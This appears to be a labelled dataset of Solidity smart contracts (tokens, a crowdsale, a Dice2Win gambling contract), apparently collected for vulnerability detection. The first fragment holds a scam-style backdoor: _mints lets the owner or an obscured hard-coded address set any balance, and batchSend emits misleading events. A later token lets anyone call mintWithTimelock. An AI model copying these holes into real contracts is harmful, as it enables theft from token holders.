mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 51 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract IMAGEWORLD {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function IMAGEWORLD(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 4,579 |
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string name, string symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string) {
return _name;
}
function symbol() public view returns(string) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private pausers;
constructor() internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
pausers.remove(account);
emit PauserRemoved(account);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() internal {
_paused = false;
}
function paused() public view returns(bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused);
_;
}
modifier whenPaused() {
require(_paused);
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(
address to,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(
address from,
address to,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(from, to, value);
}
function approve(
address spender,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.approve(spender, value);
}
function increaseAllowance(
address spender,
uint addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(
address spender,
uint subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor() internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}
contract ERC20Mintable is ERC20, MinterRole {
function mint(
address to,
uint256 value
)
public
onlyMinter
returns (bool)
{
_mint(to, value);
return true;
}
}
contract Token is ERC20Detailed, ERC20Pausable, ERC20Burnable, ERC20Mintable {
mapping (address => uint256) lockedUntil;
constructor()
ERC20Detailed("PAY", "PCL", 18)
ERC20Pausable()
ERC20Burnable()
ERC20Mintable()
public {
}
modifier unLocked() {
require(block.timestamp >= lockedUntil[msg.sender], 'timelocked');
_;
}
function transfer(address to, uint256 value) public unLocked returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public unLocked returns (bool) {
return super.transferFrom(from, to, value);
}
function mintWithTimelock(address to, uint256 value, uint256 releaseTime) public {
super.mint(to, value);
lockedUntil[to] = releaseTime;
}
function timelockOf(address owner) public view returns (uint256) {
return lockedUntil[owner];
}
} | 1 | 3,332 |
pragma solidity ^0.4.24;
contract Dice2Win {
uint constant HOUSE_EDGE_PERCENT = 1;
uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.0003 ether;
uint constant MIN_JACKPOT_BET = 0.1 ether;
uint constant JACKPOT_MODULO = 1000;
uint constant JACKPOT_FEE = 0.001 ether;
uint constant MIN_BET = 0.01 ether;
uint constant MAX_AMOUNT = 300000 ether;
uint constant MAX_MODULO = 100;
uint constant MAX_MASK_MODULO = 40;
uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO;
uint constant BET_EXPIRATION_BLOCKS = 250;
address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public owner;
address private nextOwner;
uint public maxProfit;
address public secretSigner;
uint128 public jackpotSize;
uint128 public lockedInBets;
struct Bet {
uint amount;
uint8 modulo;
uint8 rollUnder;
uint40 placeBlockNumber;
uint40 mask;
address gambler;
}
mapping (uint => Bet) bets;
event FailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);
event JackpotPayment(address indexed beneficiary, uint amount);
event Commit(uint commit);
constructor () public {
owner = msg.sender;
secretSigner = DUMMY_ADDRESS;
}
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
function approveNextOwner(address _nextOwner) external onlyOwner {
require (_nextOwner != owner, "Cannot approve current owner.");
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require (msg.sender == nextOwner, "Can only accept preapproved new owner.");
owner = nextOwner;
}
function () public payable {
}
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
function setMaxProfit(uint _maxProfit) public onlyOwner {
require (_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number.");
maxProfit = _maxProfit;
}
function increaseJackpot(uint increaseAmount) external onlyOwner {
require (increaseAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + increaseAmount <= address(this).balance, "Not enough funds.");
jackpotSize += uint128(increaseAmount);
}
function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + withdrawAmount <= address(this).balance, "Not enough funds.");
sendFunds(beneficiary, withdrawAmount, withdrawAmount);
}
function kill() external onlyOwner {
require (lockedInBets == 0, "All bets should be processed (settled or refunded) before self-destruct.");
selfdestruct(owner);
}
function placeBet(uint betMask, uint modulo, uint commitLastBlock, uint commit, bytes32 r, bytes32 s) external payable {
Bet storage bet = bets[commit];
require (bet.gambler == address(0), "Bet should be in a 'clean' state.");
uint amount = msg.value;
require (modulo > 1 && modulo <= MAX_MODULO, "Modulo should be within range.");
require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range.");
require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range.");
require (block.number <= commitLastBlock, "Commit has expired.");
bytes32 signatureHash = keccak256(abi.encodePacked(uint40(commitLastBlock), commit));
require (secretSigner == ecrecover(signatureHash, 27, r, s), "ECDSA signature is not valid.");
uint rollUnder;
uint mask;
if (modulo <= MAX_MASK_MODULO) {
rollUnder = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO;
mask = betMask;
} else {
require (betMask > 0 && betMask <= modulo, "High modulo range, betMask larger than modulo.");
rollUnder = betMask;
}
uint possibleWinAmount;
uint jackpotFee;
(possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation.");
lockedInBets += uint128(possibleWinAmount);
jackpotSize += uint128(jackpotFee);
require (jackpotSize + lockedInBets <= address(this).balance, "Cannot afford to lose this bet.");
emit Commit(commit);
bet.amount = amount;
bet.modulo = uint8(modulo);
bet.rollUnder = uint8(rollUnder);
bet.placeBlockNumber = uint40(block.number);
bet.mask = uint40(mask);
bet.gambler = msg.sender;
}
function settleBet(uint reveal, bytes32 blockHash) external {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
uint placeBlockNumber = bet.placeBlockNumber;
require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");
require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
require (blockhash(placeBlockNumber) == blockHash);
settleBetCommon(bet, reveal, blockHash);
}
function settleBetUncleMerkleProof(uint reveal, uint40 canonicalBlockNumber) external {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
require (block.number <= canonicalBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
requireCorrectReceipt(4 + 32 + 32 + 4);
bytes32 canonicalHash;
bytes32 uncleHash;
(canonicalHash, uncleHash) = verifyMerkleProof(commit, 4 + 32 + 32);
require (blockhash(canonicalBlockNumber) == canonicalHash);
settleBetCommon(bet, reveal, uncleHash);
}
function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) private {
uint amount = bet.amount;
uint modulo = bet.modulo;
uint rollUnder = bet.rollUnder;
address gambler = bet.gambler;
require (amount != 0, "Bet should be in an 'active' state");
bet.amount = 0;
bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash));
uint dice = uint(entropy) % modulo;
uint diceWinAmount;
uint _jackpotFee;
(diceWinAmount, _jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
uint diceWin = 0;
uint jackpotWin = 0;
if (modulo <= MAX_MASK_MODULO) {
if ((2 ** dice) & bet.mask != 0) {
diceWin = diceWinAmount;
}
} else {
if (dice < rollUnder) {
diceWin = diceWinAmount;
}
}
lockedInBets -= uint128(diceWinAmount);
if (amount >= MIN_JACKPOT_BET) {
uint jackpotRng = (uint(entropy) / modulo) % JACKPOT_MODULO;
if (jackpotRng == 0) {
jackpotWin = jackpotSize;
jackpotSize = 0;
}
}
if (jackpotWin > 0) {
emit JackpotPayment(gambler, jackpotWin);
}
sendFunds(gambler, diceWin + jackpotWin == 0 ? 1 wei : diceWin + jackpotWin, diceWin);
}
function refundBet(uint commit) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
bet.amount = 0;
uint diceWinAmount;
uint jackpotFee;
(diceWinAmount, jackpotFee) = getDiceWinAmount(amount, bet.modulo, bet.rollUnder);
lockedInBets -= uint128(diceWinAmount);
jackpotSize -= uint128(jackpotFee);
sendFunds(bet.gambler, amount, amount);
}
function getDiceWinAmount(uint amount, uint modulo, uint rollUnder) private pure returns (uint winAmount, uint jackpotFee) {
require (0 < rollUnder && rollUnder <= modulo, "Win probability out of range.");
jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0;
uint houseEdge = amount * HOUSE_EDGE_PERCENT / 100;
if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) {
houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT;
}
require (houseEdge + jackpotFee <= amount, "Bet doesn't even cover house edge.");
winAmount = (amount - houseEdge - jackpotFee) * modulo / rollUnder;
}
function sendFunds(address beneficiary, uint amount, uint successLogAmount) private {
if (beneficiary.send(amount)) {
emit Payment(beneficiary, successLogAmount);
} else {
emit FailedPayment(beneficiary, amount);
}
}
uint constant POPCNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001;
uint constant POPCNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041;
uint constant POPCNT_MODULO = 0x3F;
function verifyMerkleProof(uint seedHash, uint offset) pure private returns (bytes32 blockHash, bytes32 uncleHash) {
uint scratchBuf1; assembly { scratchBuf1 := mload(0x40) }
uint uncleHeaderLength; uint blobLength; uint shift; uint hashSlot;
for (;; offset += blobLength) {
assembly { blobLength := and(calldataload(sub(offset, 30)), 0xffff) }
if (blobLength == 0) {
break;
}
assembly { shift := and(calldataload(sub(offset, 28)), 0xffff) }
require (shift < blobLength, "Shift bounds check.");
offset += 4;
assembly { hashSlot := calldataload(add(offset, shift)) }
require (hashSlot == 0, "Non-empty hash slot.");
assembly {
calldatacopy(scratchBuf1, offset, blobLength)
mstore(add(scratchBuf1, shift), seedHash)
seedHash := sha3(scratchBuf1, blobLength)
uncleHeaderLength := blobLength
}
}
uncleHash = bytes32(seedHash);
uint scratchBuf2 = scratchBuf1 + uncleHeaderLength;
uint unclesLength; assembly { unclesLength := and(calldataload(sub(offset, 28)), 0xffff) }
uint unclesShift; assembly { unclesShift := and(calldataload(sub(offset, 26)), 0xffff) }
require (unclesShift < unclesLength, "Shift bounds check.");
offset += 6;
assembly { calldatacopy(scratchBuf2, offset, unclesLength) }
memcpy(scratchBuf2 + unclesShift, scratchBuf1, uncleHeaderLength);
assembly { seedHash := sha3(scratchBuf2, unclesLength) }
offset += unclesLength;
assembly {
blobLength := and(calldataload(sub(offset, 30)), 0xffff)
shift := and(calldataload(sub(offset, 28)), 0xffff)
}
require (shift < blobLength, "Shift bounds check.");
offset += 4;
assembly { hashSlot := calldataload(add(offset, shift)) }
require (hashSlot == 0, "Non-empty hash slot.");
assembly {
calldatacopy(scratchBuf1, offset, blobLength)
mstore(add(scratchBuf1, shift), seedHash)
blockHash := sha3(scratchBuf1, blobLength)
}
}
function requireCorrectReceipt(uint offset) view private {
uint leafHeaderByte; assembly { leafHeaderByte := byte(0, calldataload(offset)) }
require (leafHeaderByte >= 0xf7, "Receipt leaf longer than 55 bytes.");
offset += leafHeaderByte - 0xf6;
uint pathHeaderByte; assembly { pathHeaderByte := byte(0, calldataload(offset)) }
if (pathHeaderByte <= 0x7f) {
offset += 1;
} else {
require (pathHeaderByte >= 0x80 && pathHeaderByte <= 0xb7, "Path is an RLP string.");
offset += pathHeaderByte - 0x7f;
}
uint receiptStringHeaderByte; assembly { receiptStringHeaderByte := byte(0, calldataload(offset)) }
require (receiptStringHeaderByte == 0xb9, "Receipt string is always at least 256 bytes long, but less than 64k.");
offset += 3;
uint receiptHeaderByte; assembly { receiptHeaderByte := byte(0, calldataload(offset)) }
require (receiptHeaderByte == 0xf9, "Receipt is always at least 256 bytes long, but less than 64k.");
offset += 3;
uint statusByte; assembly { statusByte := byte(0, calldataload(offset)) }
require (statusByte == 0x1, "Status should be success.");
offset += 1;
uint cumGasHeaderByte; assembly { cumGasHeaderByte := byte(0, calldataload(offset)) }
if (cumGasHeaderByte <= 0x7f) {
offset += 1;
} else {
require (cumGasHeaderByte >= 0x80 && cumGasHeaderByte <= 0xb7, "Cumulative gas is an RLP string.");
offset += cumGasHeaderByte - 0x7f;
}
uint bloomHeaderByte; assembly { bloomHeaderByte := byte(0, calldataload(offset)) }
require (bloomHeaderByte == 0xb9, "Bloom filter is always 256 bytes long.");
offset += 256 + 3;
uint logsListHeaderByte; assembly { logsListHeaderByte := byte(0, calldataload(offset)) }
require (logsListHeaderByte == 0xf8, "Logs list is less than 256 bytes long.");
offset += 2;
uint logEntryHeaderByte; assembly { logEntryHeaderByte := byte(0, calldataload(offset)) }
require (logEntryHeaderByte == 0xf8, "Log entry is less than 256 bytes long.");
offset += 2;
uint addressHeaderByte; assembly { addressHeaderByte := byte(0, calldataload(offset)) }
require (addressHeaderByte == 0x94, "Address is 20 bytes long.");
uint logAddress; assembly { logAddress := and(calldataload(sub(offset, 11)), 0xffffffffffffffffffffffffffffffffffffffff) }
require (logAddress == uint(address(this)));
}
function memcpy(uint dest, uint src, uint len) pure private {
for(; len >= 32; len -= 32) {
assembly { mstore(dest, mload(src)) }
dest += 32; src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
} | 0 | 745 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract PostDeliveryCrowdsale is TimedCrowdsale {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function withdrawTokens() public {
require(hasClosed());
uint256 amount = balances[msg.sender];
require(amount > 0);
balances[msg.sender] = 0;
_deliverTokens(msg.sender, amount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
